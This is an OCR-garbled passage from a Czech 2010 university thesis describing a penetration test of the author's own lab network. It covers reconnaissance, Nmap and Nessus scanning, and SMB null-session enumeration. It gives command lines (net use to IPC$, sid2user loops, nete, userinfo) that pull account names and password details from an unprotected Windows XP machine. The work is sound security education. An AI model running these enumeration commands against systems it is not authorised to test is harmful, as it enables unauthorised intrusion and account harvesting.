pfipojena ptes Wireless Broadband Router (IEEE 802.11b/g), na jeho LAN siti se
vyskytuje pristupovy bod Wireless 11g Access Point (IEEE 802.11b/g, Sifrovani WEP

s délkou klice 64 bitill) a ptes n¢j komunikuji dva pocitace pomoci bezdratovych karet.

Testovani je provadéno z tietiho pocitace, ktery se také vyskytuje na této domaci siti, ale
mezi autorizované pocitace nepatii. Dalo by se Fict, Zze jde v podstaté o pocita¢ Gtoénika,
ktery prolomil ochranu Sifrovani WEP bezdratové sité. DHCP server piifazuje pocita¢im
v siti IP adresu automaticky, a proto testovaci pocita¢ muize byt bez problému pfipojen

k siti stejné jako ostatni pocitace.

Zabezpeceny a nezabezpecfeny pocitac pracuji s operacnim systémem Microsoft Windows
XP Professional (SP1), kde maji u ur¢itych slozek povolené sdileni v siti. Rovnéz je mozné
pfipojit se na tyto pocitate pomoci vzdalené plochy, avSak u zabezpecCené varianty je
pomoci firewallu (Sunbelt Personal Firewall) povoleno piihlaseni pouze z definovanych IP

adres (tj. pouze z druhého nezabezpeceného pocitace). Na zabezpeceném pocitaci je kromé
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firewallu nainstalovan jesté¢ i antivirovy (Eset NOD32 Antivirus 4) a antispywarovy

software (Spybot Search & Destroy).

Uzivatelské ucCty jsou na obou pocitacich shodné a jsou samoziejmé zabezpeCeny hesly.
Jejich nazvy resp. jména jsou smyslend a zvolena od nejcéastéjSich ¢eskych piijmeni, takze

nehledejme Zadnou podobnost s realnymi osobami.

Po vysvétleni cilll této prace a popsanim struktury testované sité se mizeme vrhnout do

realizace samotného penetracniho testu.

4.1 Sbér informaci

Penetra¢ni test zatneme sbérem informaci o cilové siti, ovSem v nasem piipadé se jedna
0 domaci sit’, kterd byla sestavena jen pro realizaci tohoto penetracniho testu, a tim padem
se na Internetu o ni prakticky nevyskytuji Zadné informace. Proto si vyzkouSime moznosti

sbéru informaci na jinych subjektech.

411 Verejné dostupné informace

Vetejné dostupné informace se vyskytuji na Internetu a jejich zdrojem mohou byt napt.
firemni webové stranky. Kdyz si vezmeme napf. naSi univerzitu a webové stranky
www.utb.cz, po par klinutich mysi nalezneme informace o sidle univerzity a jeji struktufe,
0 partnerskych institucich (se kterymi Skola spolupracuje). Lze dohledat rizné vnitini

predpisy, zékony, smérnice, vyrocni zpravy aj.

Dokézeme najit organizacni clenéni zaméstnanct vcetné kontaktnich udaji (telefonni Cisla,
e-mailové adresy, mista pracovist’ apod.), na strankach se vyskytuji odkazy na osobni

stranky téchto zaméstnanct, kde se dovidame dalsi i osobni informace.

Zdrojem mohou byt také napt. webové stranky www.zlatestranky.cz a jim podobné. Tyto
stranky nam vypsaly informace o adrese univerzity, 14 telefonnich Cisel a zobrazeni
umisténi sidla Skoly na mapé&. Samotnou skupinou zdroje vefejné dostupnych informaci
jsou i socialni sité¢ Facebook, Twitter, LinkedIn, MySpace, Hi5 apod. Na téchto sitich lze
zjistit dulezité firemni i osobni informace a lze také navazat kontakt s vytipovanymi
osobami (napf. pravé se zaméstnanci cilového subjektu). VeSkeré tyto informace ndm
slouzi k dal$imu podrobné&jsimu prizkumu na internetu, kdy vyhleddvame napi. podle
e-mailovych adres zaméstnancl, jejich ptezdivek ¢i wuzivatelskych jmen v rGznych

diskuzich (napf. rizné chaty, usenet aj.), kde Ize opét navazat kontakt za ucelem pouziti
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socialniho inZenyrstvi na tyto osoby. Informace se daji ziskat i z Zivotopisti, kde uchaze¢
o pracovni pozici Casto uvadi projekty, na kterych u byvalého zaméstnavatele pracoval,
nebo muze uvést seznam technologii, se kterymi se setkal v ramci zaméstnani u byvalé

firmy a které nam mohou zUZit hledani stop o cilové siti.

4.1.2 Google hacking

Veskeré hledani na Internetu se provadi pomoci vyhledavact, napt. www.google.com,
www.yahoo.com, www.altavista.com, www.dogpile.com apod. My se zaméfime na prvni
z nich, kde vyuzijeme specialnich funkci pro upiesnéni naseho dotazu. Tyto funkce neboli
operatory zptesni oblast vyhledavanych vysledkli a to ndm velice pomlze v prohleddni
obrovské databdze Googlu. U vyhledavaciho dotazu je dobré znat jeho syntaxi, ktera
vypada:

operator:argument

Proto pokud chceme najit napt. servery MS IIS s verzi 4.0, zvolime dotaz takto:

intitle:“welcome to I1S 4.0“

Dostali jsme vypis pouze téch stranek (Obr. 7), které obsahuji v ndzvu stranky tento uvitaci

fetézec serveru.

G(_)4_ ,glﬁ' intitle:*welcome fo 11S 4.0 Hledat | Roziifen¢ whiedsvani

@ Prohledat Web Stranky pouze Cesky

Web [¥ Zobrazit moZnosti Wysledky 1 - 10 z asi 166 na dotaz intitle:“welcome to 15 4.0 (0,21 sekund)

Welcome To lIS 4.01 - [ PreloZit tuto stranku |
Internet Information Server 4.0, the standards-based, Web applications server for Windows NT
Server, brings unprecedented power to Web professionals, ...

WWW, - Archiy

Welcome To IS 4.0! - [ PieloZit tuto stranku ]
Welcome to Microsoft® Windows NT® 4.0 Option Pack. Microsoft Windows NT 4.0 Option
Pack provides enhanced Web, application, and communication semrvices for ...

- Archiy

Welcome To IS 4.0! - [ PieloZit tuto stranku ]

- Archiy

Obr. 7. Vyhledavaci dotaz s pouZitym operatorem intitle.


http://www.google.com/�
http://www.altavista.com/�

UTB ve Zliné, Fakulta aplikované informatiky, 2010 57

Pti béZném zadani dotazu v podobé:
welcome to IIS 4.0
nam vyhledava¢ vypsal kolem 939 000 vysledku tohoto dotazu (Obr. 8), zatimco pomoci

operatoru Vv pifedchazejicim dotazu nam vypsal pouze 166 vysledku, tim jsme ziskali

pozadovany seznam vysledktl bez dalSich zbyte¢nych a matoucich odkazi.

Gox ;gle welcome to IIS 4.0 Roziifent whlessuénl

@ Prohledat Web Stranky pouze fesky

Web [ Zobrazit moZnosti... Vysledky 1 - 10 z asi 939 000 na dotaz welcome to 1IS 4.0. (0,25 sekund)

Tip: Hledat pouze vysledky psané éesky. Ma strance Nastaveni miZete uréit svij jazyk hledani.

Welcome To IS 4.0! - [ Pieloit tuto stranku ]
Welcome to Microsoft® Windows NTE 4.0 Option Pack. Microsoft Windows NT 4.0 Option
Pack provides enhanced Web, application, and communication services for ...

- Archiy

Welcome To IS 4.01 - [ Prelozit tuto stranku |
Download Internet Explorer! Learn more about Windows NT 4.0 Option Pack! ©@1397 Microsoft
Corporation. All rights reserved. Legal Motices.

- Archiv - Podobné

welcome to iis 4.0 - [ PreloZit tuto stranky |
Keyword: welcome to iis 4.0. Vol: 1600/mo. CPC: §.05 .... We track over 30 million domains
such as ebay.com, amazon.com, welcome to iis 4.0 and others_ ...

Archiy

Obr. 8. Vyhledavaci dotaz bez pouziti operatorii.

Argument operatoru, pokud je delSi nez jedno slovo, uzavirame do uvozovek. Mezi dalsi

dilezité operatory fadime:

inurl — hleda zadany fetézec v URL adrese.

- intitle — hleda zadany retézec v ndzvu stranky.

- allinurl / allintitle — hleda vSechny zadané retézce v URL adrese / nazvu stranky.
- intext — hleda zadany fetézec pouze v textu stranky.

- filetype — hleda dokumenty zadaného typu (napt. doc, pdf, ppt aj.).

- site — hleda stranky pouze pod zadanou doménou.
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Jednotlivé operatory lze kombinovat samoziejmé do jednoho dotazu a pro dalSi vymezeni
oblasti hledani Ize pouzit i dopliwjici znakové operatory ( |, .., *, +, -, ~). Operatort je tedy
na vybér hodné¢ a je jen na nas, které z nich vhodné pouzijeme k nalezeni dulezitych

informaci o cilovém systému.

Na téma ,google hacking“ byla sepsana nejedna kniha, naptiklad pfimo urfena pro
penetraéni testovani s ndzvem ,,Google hacking for penetration” od autor Johnnyho

Longa a Eda Skoudise.

4.1.3 Dostupné informace pomoci WHOIS a DNS

Dalsim zdrojem, ktery opé&t souvisi se sbérem informaci na Internetu, jsou WHOIS a DNS
databaze. Neziskova organizace ICANN (Internet Corporation for Assigned Names and
Numbers) se stard o zdkladni chod Internetu. Obsahuje ve své databazi pfidélena
doménova jména, IP adresy, Cisla portl aj. Nas bude zajimat jeji ¢ast, pod kterou spadaji
regionalni registratofi [P adres (APNIC, ARIN, LACNIC, RIPE, AfriNIC). Jelikoz RIPE
spravuje Evropu (dale ¢ast Asie, Afriky a Stfedni vychod) ¢erpame informace pravé u této
databdze. Informace jsou rozptyleny po celém svété v  WHOIS serverech, ale zjistit

potfebné informace neni nic obtizného, protoze jsou vetejné pristupné.

Pfi  hledani domény ,utb.cz® nadm pro tento dotaz databdze RIPE
(http://www.db.ripe.net/whois/) vypsala hlasku, Ze poZadované informace jsou uloZeny
v registru CZ NIC (spravce domény cz), ale i piesto tyto informace z CZ NIC domény

sama nasla a kompletné vypsala.

WHOIS dotaz jsme provedli i v registru CZ NIC (http://www.nic.cz/whois/) a obdrzeli
jsme stejny vypis, ale v piehledné formé¢ HTML stranky s pfipadnymi odkazy pro dalsi
informace o vysledcich dotazu. Zde jsme zjistili ureného registratora domény ,,utb.cz”,
datum registrace, datum pfipadné expirace, drZitele této domény, administrativni kontakty

s e-mailovymi adresami a telefonnimi ¢isly, sadu jmennych servert, technicky kontakt aj.

Toto hledani jsme provedli i na strankach uréeného registratora a dostali opét ty same

vysledky.


http://www.db.ripe.net/whois/�
http://www.nic.cz/whois/�
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4.1.4 Informace z databazi pomoci Sam Spade

K hledani dat v databazich WHOIS a DNS nemusime pouzivat jen internetovy prohlizec¢.
Slouzi k tomu i specialni programy, jako je napf. Sam Spade. Moznost vyuziti i webového
rozhrani, kterym jsme dosahli stejnych vySe zmitiovanych vysledkt. Program v3ak nabizi
vice funkci, napf. ping, traceroute, kontrolu SMTP relay, pfenosy zon DNS aj. Na obrazku

(Obr. 9) je vidét prostiedi programu Sam Spade a vysledek naseho dotazu.

32 Spade - whois.ss

File Edit %iew Window Basics Tools Help

|utb.cz || L T &|Magic

Log “# whois.ss

% Full text availakle at:0

% http://www.nic. cz/page/306/intended-uge-—of-supplied-data-and-infor
5 0O

% See also a search service at http://www.nic.cz/whois/0

5 0O

3 0O

% Whoisd Server Version: 3.Z2.10

% Timestamp: Thu Apr 01 15:37:47 20100

O

- domgin: uth. cz0
registrant: SE:UTBE-CZ0O
|p§|'§;k i : PV148-RIPEO
RADEK_HABROVANGZEYO
Dig : MONIEKA HRABAROVAD
NE8: UTE-CZ: 10
Trace registrar: REG-INTERNET-CZzZ0O

=t atis: naid and in zanel
Finger

192, Ieg. 54,254
19Z.168. 160.29

@D 217.170.96.33
= 213.195.192.246
Weh 194.50.100.191

195.175.858. a7
Aurake

=i
&, utb_cz [whois) &+ uth.cz [traceroute]

For Help, press F1 o

Obr. 9. Prostredi programu Sam Spade s vysledkem dotazu na doménu ,,utb.cz*.

Krom¢ tohoto nastroje slouzi k ucelu prohledani WHOIS databazi také napi. Netscan,
Xwhois, Jwhois, WS Ping ProPack aj. Vesker¢ zjisténé informace pak mohou hackerovi

pomoci i napi. k provedeni Gtoku metodou socialniho inZzenyrstvi.
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4.15 Prazkum sité

K prizkumu sit¢ vyuzivame pravé tracerouting, pii kterém dochézi k ur€eni jmen a IP
adres sitovych uzld, pfes které putuje nas vyslany paket k cilovému systému. Tim si

miuZeme vytvofit hrubou piedstavu o cilové siti.

Traceroute funkci jsme vyzkouSeli i v programu Sam Spade (Obr. 10), kde jsme zjistili,

pies které sitové uzly probéhl nas vyslany paket az cilovému uzlu - serveru ,,moon.utb.cz*.

; Spade - Fast traceroute utb.cz, finished
File Edit %iew Window Basics Tools Help

|utb.cz || L T &|Magic

‘5}; . whois.ss

Log Full text awailakle at:0O

http: //www. nic. cz/page/306/intended-uge-of-supplied-data-and-infor

Copy O
See alzo a gearch service at http://www.nic.cz/whois/O

Fast traceroute uth.cz, finished

P : i 04/01/10 15:3%9:53 Fast traceroute utbh.cz
D%ja Trace uth.cz (195.178.88.67)

i 192.168.1. 100 Bms 2ms 2ms
w%s - : 192.168.54.254 435me Sms= s
i fngI-St ra 192.168.160.29 Sm= s Tme
PEiccr fad1n—c: 217.170.96.33 fms e Sme
213.195.192.248 1lms= 1im= 12ms=
Dig : 1%94.50.100.121 1lms 13ms 1lme

= =Rt 195.178.88. 87 17ms léams 1%ms

Trace

Finger

Time
Web
Aurake
=ik
& utb.cz [whoiz) %= utb.cz [traceroute)
Options: Mameserver for DNS, Dig and Zone Transfer o

Obr. 10. Pribéh funkce traceroute v programu Sam Spade.

Mezi dal$i takovéto nastroje patii napt. Traceroute, VisualRoute, NeoTrace, Cain & Abel,

paratrace (Paketto Keiretsu).

Po nasbirani dostatecného mnozstvi informaci, které bychom zjistili o doty¢né cilové siti,
bychom postoupili k dalsimu kroku, ktery je zaméfen na skenovani cilové sité. Od tohoto

bodu uz se zaméfime na testovani nasi domaci sité.
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4.2 Skenovani

Skenovani cilové sité¢ budeme provadét zpravidla pomoci automatizovanych ndastroja

e

bézicich na operacnim systému Windows. Prvni ¢asti skenovani je hledani zivych systémd.

4.2.1 Hledani zivych systémi

K hledani Zivych systémi vyuZijeme nastroju rozesilajicich hromadny ping, nejcastéji
pomoci ICMP (Internet Control Message Protocol) protokolu, ale pracujici i s TCP a UDP
protokoly. Tyto nastroje odesilaji na vSechny pocitace v siti ping a podle odpovédi zjist'uji,
zda jsou pocitace Zivé.

Pro tento ucel zvolime jako prvni skenovaci ndstroj Nmap (Zenmap). Nmap je velice
Sikovny program s mnoha funkcemi (skenovani portd, podpora IPv4 i IPv6, identifikace
operacniho systému aj.), kterym ziskdme mnoho zajimavych informaci a v pribchu
penetracniho testu ho mnohokrat vyuzijeme. Po zadani nasledujiciho ptikazu:

nmap —sP 192.168.1.0/24

nadm tento nastroj vypsal IP adresy zivych uzla sité (leZicich v rozsahu adres 192.168.1.0
az 192.168.1.254), které muzete vidét na obrazku (Obr. 11). Zatim nevime, zda se jedna
o pocitace nebo jiné aktivni prvky site, to se dozvime pozd¢ji. Nmap nalezl kromé IP adres

I MAC adresy téchto uzli a dokonce odhadl vyrobce pouzitych sitovych rozhrani.

Scan  Tools  Profile  Help

Target: | 102.168.1.0/24 v | Profile: v

Command:  |nmap -sP 192, 168.1.0/24

Nmap Output | Parts [ Hosts | Topology | Host Details | Scans
05 4 |Host . nmap -sP 192,168.1.0/24 w

192.168.1.102
Starting Nmap &5.10BETAl { http://nmap_org )} at 2010-03-15 14:07 Sti¥edni Evropa
(bé&iny fas)
192.165.1.203 Huwap scan report for 192.16%.1.100
Host i= wup (0.01E5s latency).
192.168.1.101 MAC Addvess: 00:02:72:6C:E7:CE (CC4C Technologies)
192.163.1.204 Mumap scan report for 192.16%8.1_101
Host is wp (0.01Es latency).
MAC Address: 00:0Z:7Z:5C:8F:3A (CC4C Technologies)
Nmap scan report for 192 168.1_102
Host iz up.
Muwap scan report for 192.168.1.203
Host iz wup (0.00s latency).
MAC Address: 00:1F:1F:64:CEB:31 (Edimax Technology Co.)
Mmap scan report for 192 16%.1.204
Host i= up (0.00s latency).
MAC Address: 00:23:54:37:F7:14 {(Asustek Computer)
Mmap dome: 256 IP addresses (5 hosts up) scanned in 6.33 seconds

192.168.1.100

TeEwes

Filket Hosts ]

Obr. 11. Nalezené zivé uzly sité pomoci ndstroje Nmap.
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Nalezené zivé uzly jsme si ovéfili pomoci nastroje SuperScan, ale ten na rozdil od Nmapu
nedokazal ovéfit dosaZitelnost jednoho uzlu (zabezpeceného pocitace). To je prvni znamka
ochrany, kdy firewall zabezpeceného pocitace filtruje ptichazejici ICMP dotazy. Prostiedi

programu SuperScan si muzeme prohlédnout na obrazku (Obr. 12).

=u SuperScan 4.0

Sean ]Host and Service Discovery | Scan Dptinns] Toals ] wiindows Enumeration] About ]

IPs
Hosthame/ P | A Start P EndIP Clear Selected
ctart IP ﬂm 192.168.1.0 192168.1.254 T—
ErdiP - x|[782 B8 1 254 ’

ReadIPs hom e 2 |

Live hosts this batch: 4

Total live hosts discovered 4
Total apen TCP parts
Total open UDP poits 0

t Found

Host discovery LUHMP (Info] scan (251 hosts)... V.
0 new machines discovered with ICHMP (Info)
Performing hosthname resolution...
Derforming banner grabs...
TCP banner grabbing (0 ports)
UDPF bamner grabbing (0 ports)
Peporting scan results...
———————— Scan done --------

SuperSca

Discovery scan finished: 03715710 14:56:0Z

A J J Wiew HTML Results

00:25 Saved log file Live: 4 TCP open: 0 UDF open: 0 2551255 done

Obr. 12. Nalezené Zivé uzly pomoci nastroje SuperScan.

Nalezené zivé uzly sité jsou uvedeny v nasledujici tabulce (Tab. 1).

Tab. 1. Nalezené zivé uzly testované site.

IP adresa MAC adresa Vyrobce sitového rozhrani
192.168.1.100 00:02:72:6C:B7:CE CC&C Technologies
192.168.1.101 00:02:72:5C:8F:3A CC&C Technologies
192.168.1.102 pocitac, z kterého provadime penetra¢ni test.
192.168.1.203 00:1F:1F:64:CB:31 Edimax Technology Co.
192.168.1.204 00:23:54:37:F7:14 Asustek Computer
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Mezi unixové nastroje tohoto typu, kterymi Ize dosdhnout nalezeni Zivych systému, patii

napf. fping a icmpenum.

Po zjisténi a ov€ieni Zivych uzla sité se muzeme pustit do skenovani porti kazdého z nich.

4.2.2 Nalezeni sitovych sluzeb

K nalezeni sitovych sluzeb cilového pocitace dochazi pti skenovani jeho portil
(TCP a UDP). Automatizované skenovaci nastroje se ptipoji ke kazdé sluzbé na cilovém
pocitaci a sleduji jeji odezvu.

Pro tento ucel vyuzijeme opét nastroj Nmap, ale zvolime preddefinovany piikaz ,,Intense
scan plus UDP*, ktery ma tvar:

nmap -sS -sU -T4 -A -v -PE -PS22,25,80 -PA21,23,80,3389 192.168.1.204

Takto skenujeme kazdy nalezeny Zivy uzel sité¢ a vysledkem je seznam sitovych sluzeb,

které na téchto uzlech bézi. Vysledek skenovani vidite na obrazku (Obr. 13).

] nmap_intense_scan_plus_udp_204. txt - Poznamkovy blok

soubor  Upravy  Format  Zobrazeni Mapovéda

Mmap scan report for 1592.168.1.204 -
Host = up ([0,0037s latencyl.

MOt shown: 1985 closed ports

PORT STATE SERWICE WERSTION

135/tcp  open msrpc Microsoft windows RPC

135%/Tcp open nethios-s=sn

445/Tcp  open microsoft-ds Microsoft windows =P microsoft-ds
1025/tcp open msrpc Microsoft windows RPC

3389/tCcp open microsoft-rdp Microsoft Terminal service

5000/t Cp open upnp mMicrosoft windows UPNP

123 udp  open mtp Microsoft NTP

135/udp open msrpc

137/udp open nethios-ns mMicrosoft windows NT netbhios-ssn Ay

Obr. 13. Vysledek skenovani portit programem Nmap pro sitovy uzel 192.168.1.204.

Znalezenych sluzeb lze opét spatfit viditelny rozdil mezi zabezpeCenym
a nezabezpecCenym pocitacem. Zatimco u nezabezpecené¢ho pocitace nasel nastroj Nmap

plno riznych sitovych sluzeb, u zabezpecené¢ho pocitace nasel pouze jednu.

Jako dalSi program pro skenovani portt vyuzijeme kontrolni bezpe¢nostni nastroj Nessus.
Tento néstroj nejenom, ze dokaze skenovat porty pocitace, ale také dokédze popsat rizika,

jaka nesou aktudlni chyby v nalezenych sitovych sluzbach. Jeho vystupni hodnoty
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skenovani obsahuji i informace o verzi opera¢niho systému cilového pocitace a zvladne
odhalit jest¢ mnohem a mnohem vice. Skenovali jsme jim tedy opét jednotlivé uzly sité
a ziskali seznam informaci o otevienych portech, sitovych sluzbach, moznych zranitelnosti
a jejich teseni v prehledné HTML tprave, jejiz nahled si mizete prohlédnout na obrazku
(Obr. 14).

192.168.1.204

Scan Time
Start time : Tue Mar 16 20:10:07 2010
End time : Tue Mar 16 20:13:24 2010
Number of vulnerabilities
Open ports : 13
High : 15
Low : 35
Remote host information
Operating System : Microsoft Windows XP Microsoft Windows XP Service Pack 1
NetBIOS name : MYDPPC2
DNS name :

"] Back to 192.168.1.204

Port general (0/icmp) [-/+]

MS08-067: Microsoft Windows Server Service Crafted RPC Request Handling Remote Code Execution (958644) (uncredentialed
check)

Synopsis:

Arbitrary code can be

executed on the remote host due to a flaw in the
'Server' service.

Description:

The remote host is

vulnerable to a buffer overrun in the 'Server'

service that may allow an attacker to execute arbitrary code on the
remote host with the 'System' privileges.

Risk factor:
Critical

CVsS
Base Score:10.0
CVSS2#AV:N/AC:L/Au:N/C:C/TI:C/A:C

Solution:

Microsoft

has released a set of patches for Windows 2000, XP, 2003,

Vista and 2008 :

http://www.microsoft. com/technet/security/bulletin/ms08-067.mspx
Plugin

ID:

34477

CVE:

CVE-2008-4250

BID:
31874

Other

references:
0SVDB:49243

Obr. 14. Nahled vystupu programu Nessus vygenerovaného do HTML formatu.
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Tyto vysledky si probereme v zavérecné casti penetraéniho testu. V této Casti pouze

vypiSeme porty a sitové sluzby u jednotlivych uzla sité (Tab. 2, Tab. 3, Tab. 4, Tab. 5).

Tab. 2. Nalezené porty pro sitovy uzel 192.168.1.100.

Sitovy uzel 192.168.1.100

Port Stav Sitova sluzba
0/icmp Open General
53/tcp, udp Open Domain
67/udp Open Dhcps

80/tcp Open Http

Tab. 3. Nalezené porty pro sitovy uzel 192.168.1.101.

Sitovy uzel 192.168.1.101

Port Stav Sitova sluzba
0/icmp Open General
67/udp Open Dhcps

80/tcp Open Http

Tab. 4. Nalezené porty pro sitovy uzel 192.168.1.203.

Sitovy uzel

192.168.1.203

Port

Stav

Sit'ova sluzba

1723/tcp

Closed

Pptp
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Tab. 5. Nalezené porty pro sitovy uzel 192.168.1.204.

Sitovy uzel 192.168.1.204

Port Stav Sitova sluzba
0/icmp Open General
123/udp Open Ntp

135/tcp, udp Open Msrpc
137/udp Open Netbios-ns
139/tcp Open Netbios/ssn
445/tcp Open Microsoft-ds
1025/tcp Open Msrpc
1026/udp Open Msrpc
3389/tcp Open Microsoft-rdp
5000/tcp Open Upnp

Ke skenovani portll existuji jesSté nastroje napt. SuperScan, WinScan, ipEye, WUPS,

ScanLine a mezi unixovymi nastroji napt. Strobe, netcat, udp_scan aj.

Po nalezeni sitovych sluzeb je dalSim krokem vyhledani publikovanych slabin
v databazich CVE, BUGTRAQ a CERT. AvSsak diky nastroji Nessus mame vygenerovany
vysledek skenovéani do podoby HTML, ve kterém se na jednotlivé slabiny vyskytuji

odkazy do téchto databazi, a tim méme praci vyrazn¢ ulehcenou.

4.2.3 Identifikace operacniho systému

Po ziskani seznamu slabin, které vyplyvaji z chyb vyskytujicich se na nalezenych sitovych

sluzbach, postoupime k identifikaci pocitaci a jejich operacnich systémui.

V predchozim skenovani jsme pomoci ndstroje Nmap ziskali kromé seznamu otevienych
portl jesté 1 dalsi zajimavé informace. Vysledek skenovani obsahoval odhad operacnich
systémtl, které pracuji na jednotlivych uzlech, a specifikaci uzlu, jedna-li se o pocitac,

router, access point apod.
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Operacni systémy na obou pocitacich byly oznaceny jako Windows, ale pro ptfesnéjsi
urCeni verze Windows pouzijeme je$t¢ nastroj Winfingerprint. Ten zjistil
u nezabezpeCeného pocitace verzi 5.1, tj. Windows XP. U zabezpeCeného pocitace
operacni systém ale viibec nedokazal stanovit. Opét diky firewallu, ktery nas ujistuje, proc

je nezbytnou nutnosti ochrany kazdého pocitace.

Také zinformaci provedeného skenu pomoci nastroje Nessus muzeme vycist, jaké
operacni systémy bézi na jednotlivych uzlech, ale stejné jako Winfingerprint nedokézal
uréit operacni systém na zabezpeCeném pocitaci. Zato na nezabezpeCeném urcil, ze se

jedna piesné o Microsoft Windows XP (Service Pack 1).
Dalsi nastroje slouzici pro identifikaci operacniho systému jsou napt. pOf, Xprobe2 (Unix).

Po této identifikaci jsme dostali velice podrobny piehled o celé struktufe domaci sité
a podle poctu spusténych sluzeb navic vime, Ze penetracni test budeme smérovat hlavné na

nezabezpeceny pocitac. Zjisténa struktura celé sité je zobrazena na nasledujicim obrazku
(Obr. 15).

WLAN Broadband Router (CC&C Technologies)
192.168.1.100
Linux 2.4

Internet eeeee

WLAN Access Point (CC&C Technologies)
192.168.1.101
Linux 2.4

R Nezabezpeteny pocitad
®eee, 192.168.1.204
* (Asustek Computer)

_ -« MS Windows XP (SP1)

Zabezpedeny poéitad
192.168.1.203
(Edimax Technology Co.)

_ - MSWindows 2000[2003|XP

Testovaci
potitat

Obr. 15. Zjistena struktura domdci sité.
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4.3 Pruzkum detailnéjSich informaci
Se skenovanim Uzce souvisi prizkum terénu, kde dochdzi ke sbéru banneri sitovych
sluzeb (ke kterym se pifipojujeme a analyzujeme jejich odezvu) a hledani podrobnéjSich
informaci souvisejicich s opera¢nim systémem.
Néastroje typu Nmap, SuperScan, Nessus a jim podobné umi tyto bannery sbirat

automaticky a ptedeslé skenovani také tyto informace obsahuje. Rovnéz lze provadét

1 ruéni sbér bannert, napt. pomoci jednoduchych nastroji Telnet nebo Netcat.

4.3.1 Inventarizace systemu

V tomto pruzkumu se budeme zabyvat inventarizaci (enumeraci) systému. Jako prvni zdroj
podrobnéjsich informaci vyuzijeme piikaz netview (pro inventarizaci sité NetBIOS), ktery

je vestavén piimo do systému Windows.

+ Pfikazovy fadek - 2| x|

Obr. 16. Vypis ndzvii domén, pocitaci a sdilenych slozek pomoci prikazii netview.
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Provedenim piikaz:

C:\> net view /domain

C:\> net view /domain:MYDP

C:\> net view \\MYDPPC1

C:\> net view \\MYDPPC2
jsme zjistili nazvy domén, nazvy pocitacu a u nezabezpeceného pocitace dokonce i nazvy
sdilenych slozek. Vypsany vysledek je uveden na piedchazejicim obrazku (Obr. 16).

VyzkousSeli jsme také nastroje Nbtscan a Nbtstat, které vyhodnotili podobné informace

jako ptikaz netview.

Dalsi velmi oblibenou moznosti, jak ziskavat cenné informace o cilovém systému je
pouziti anonymniho spojeni (soucast SMB protokolu). Pokud ndm takovéto anonymni
spojeni cilovy systém dovoli, miiZze to mit pro n¢j velice nebezpecné disledky.

Vytvotfeni komunika¢niho svazku s cilovym pocitatem dosahneme pouzitim piikazu
»het use” obsahujici anonymniho uzivatele a prazdné heslo. Ptikaz vypada nasledovné:

C:\> net use \\192.168.1.204\IPC$ “* fu:"”

- Prikazovy radek

net use ~~192.168.1.284~\1PC5 ' »~u:z""
az byl dspéiné dokonéen.

N
Piik

C:xrnet use S~192.168.1.283~IPC5 " su:"v
DoElo k systémové chyhé 53.

giti nebyla nalezena.

Obr. 17. Prikaz ,,net use* a jeho odezva na nezabezpeceny a zabezpeceny pocitac.

U zabezpeceného pocitace piikaz pro anonymni spojeni neprosel, ale u nezabezpeceného
byl tento piikaz proveden v pofadku (Obr. 17). Proto mizeme pokrafovat k ziskavani

seznamu uzivatelskych uctl na nezabezpeceném pocitaci.

Pomoci jednoduchych programii User2sid a Sid2user, které slouzi k prevodu mezi jmény
uctd a jejich bezpecnostnimi identifikdtory SID, se nam podafilo zjistit SID uctu
Administrator. Ten je vzdy oznacen Cislem 500 (501 odpovidad uctu Guest) a uzivatelské

ucty byvaji ¢islovany od 1000 a vyse.
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Vykonanim ptikazu:
C:\> FOR /L %i IN () DO sid2user \\192.168.1.204 5 21 1957994488
1425521274 839522115 %i >> uzivatele.txt
se do souboru uzivatele.txt (06_inventarizace_sid2user_uzivatele.txt) zapsaly vSechny

nalezené uzivatelské ucty. Praci s programy User2sid a Sid2user si mizeme prohlédnout

na obrazku (Obr. 18).

Prikazovy iddek

C:wsidxuser2sid ~~192.168.1.284 "Administrator"
5—-1-5-21-1957994488 1425521 274-839522115-5%60

Mumber of subauthorities is §
Domain is MYDPPCZ2

Length of SID in memory iz 28 hytes
Type of E2ID iz SidTypellzser

Cinsidrsid2user ~N192.168.1.284 5 21 1957994488 1425521274 839522115 5681

iz Guest
Domain is MYDPPCZ
Type of SID is SidTypellser

CinsidXfor <L 2i TN <18060.1.1685%8> DO sidZuser ~~172.168.1.204 5 21 19757974488 14
25521274 839522115 xi >> u=zivatele.txt

Obr. 18. Prikazy provedené nastroji User2sid a Sid2user.

Dal$im nastrojem, ktery spoléhd na anonymni spojeni je program Nete. Pfikazem:

C:\> nete /0 \\192.168.1.204 >> 08 _nete_output.txt
se nam vystup tohoto programu zapsal do souboru 08 nete_output.txt, kde jsme dostali
kromé seznamu uzivatelskych 0ctd 1 dal$i zajimavé informace jako napt. celé jméno
a popis Gctu, pocet piihlaseni (i nezdafilé pokusy) do jednotlivych uctd, délku trvani jejich

hesel aj.

Nalezen¢ ucty uzivatelll na nezabezpeceném pocitaci, které nas zajimaji, tedy jsou:

Administrator
- radeknovak

- alexandrcerny
- patriksvoboda

- emildvorak
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- violasvobodova
- Guest

Detailnéjsi informace o jednotlivych ucétech ziskdme programem Userinfo, ktery po

provedeném piikazu:

C:\> userinfo \\192.168.1.204 “Administrator” >>
09 userinfo_01 administrator.txt

vypsal do souboru 09 userinfo 01 administrator.txt podrobné informace o uctu

LZAdministrator.

Takto jsme provedli vypisy i pro ostatni nalezené ucty. Informace, které tyto vypisy
obsahuji, jsou napf. celé jméno a komentai k uctu uzivatele, SID C¢islo, Cislo skupiny,
privilegia G¢tu, informace o stafi a expiraci hesla, pfihlasovaci informace (posledni
prihlaseni a odhlaseni, pocet Spatné zadanych piihlaSovacich udajii) aj. Vypis

z piikazového fadku programu Userinfo si prohlédnéte na obrazku (Obr. 19).

C:suserinfo>userinfo ~~192.168.1.284 "Administrator"
UserInfo vi.5 — thorBPhammerofgod.com
Querying Controller ~~\192.168.1.284
USER INFO

Username : Administrator

Full Mame:

Comment : Pevni* - User Comment:
User ID: 88

Primary Grp: 513

Privs: Admin Privs
OperatorPrivs: HNo explicit OP Prius

SYSTEM FLAGS (Flag dword is 6684%>
User’s pwd never expires.

MISC INFO

Password age: Thu Feb 25 81:82:53 2818
L Logon: Thu Feb 25 17:81:52 2818
LastLogoff: Thu Jan Bl B8:88:88 1978

Acct Expires: Mever
Max Storag Unlimited
Workstations:
Unitspertleek: 168
Bad pw Count: a

Mum logons:

Country code:

Code page:

Profile:

ScriptPath:

Homedir drive:

Home Dir:
PasswordExp: 8

Logon hours at controller,. GHMT:

Hours— 12345678981N12345678901H
Sunday 111144911414993493444114441
Monday 111144443443444443444344441
Tuesday 111144443443444443444344441
Wednesday 111144443443444443444344441
Thursday 1111d4414444444444444441
